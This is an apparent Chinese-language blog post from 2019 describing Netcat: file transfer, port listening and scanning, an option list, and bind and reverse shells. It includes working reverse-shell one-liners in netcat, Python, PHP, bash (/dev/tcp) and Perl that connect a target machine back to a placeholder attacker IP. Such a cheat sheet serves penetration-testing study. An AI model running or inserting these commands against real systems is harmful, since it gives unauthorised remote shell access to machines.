Netcat(网络中的瑞士军刀)

2019-10-28  本文已影响0人  Hf1dw

参考1:https://blog.csdn.net/mooke/article/details/10580461
参考2:https://www.jianshu.com/p/31afcadd2a7b
参考3:https://www.freebuf.com/sectool/168661.html

0x01 功能

设置反向和绑定shell,管道和重定向网络流量,端口侦听,调试程序和脚本以及Banner抓取等。

0x02 原理

从网络的一端读入数据,然后输出到网络的另一端,它可以使用tcp和udp协议。

0x03 使用方式

A(服务端)
netcat -l 10000
B(客户端)
netcat  A的ip 10000
A(服务端)
netcat -l 2000 <A.txt
B(客户端)
netcat  A的ip 2000 >B.txt
#正向shell
A(服务端)
netcat -lvp 1000 -e /bin/sh
B(客户端)
netcat A的ip 1000

#反向shell
A(服务端)
netcat B的ip 2000 -e /bin/sh
B(客户端)
netcat -lvp 2000

特殊情况(目标机没有netcat)
1、python反向shell

服务端/目标机终端执行:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("客户端/主机ip",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

客户端/本地主机终端执行:

nc -lvp 8888

客户端先运行,服务端再运行。

2、php反向shell

服务端/目标机终端执行:

php -r '$sock=fsockopen("客户端/主机ip",8888);exec("/bin/sh -i <&3 >&3 2>&3");'

服务端需要php环境

客户端/本地主机终端执行:

nc -lvp 8888

3、bash反向shell

服务端/目标机终端执行:

bash -c 'bash -i >& /dev/tcp/客户端ip/8888 0<&1 2>&1'

客户端/本地主机终端执行:

nc -lvp 8888

注意

执行bash -i>&/dev/tcp/客户端ip地址/8888 0>&1命令bash反向shell时会出现“不存在xxx目录”的问题。
原因:/dev/tcp/host/port 其实是一个 bash 的 feature(特性);由于是 bash的 feature,因此在别的 shell下就不能生效。
解决方式

4、perl反向shell

服务端/目标机终端执行:

perl -e 'use Socket;$i="客户端ip";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

客户端/本地主机终端执行:

nc -lvp 8888
nc -v -z 主机ip port1-port2
nc -l -p 8888 >log.txt
nc 目的ip 80
nc 目的ip 21

-g <网关> 设置路由器跃程通信网关,最多可设置8个;
-G <指向器数目> 设置来源路由指向器,其数值为4的倍数;
-h 在线帮助;
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;
-l 使用监听模式,管控传入的资料;
-n 直接使用IP地址,而不通过域名服务器;
-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p <通信端口> 设置本地主机使用的通信端口;
-r 乱数指定本地与远端主机的通信端口;
-s <来源位址> 设置本地主机送出数据包的IP地址;
-u 使用UDP传输协议;
-v 显示指令执行过程;
-w <超时秒数> 设置等待连线的时间;
-z 使用0输入/输出模式,只在扫描通信端口时使用。

上一篇下一篇

猜你喜欢

热点阅读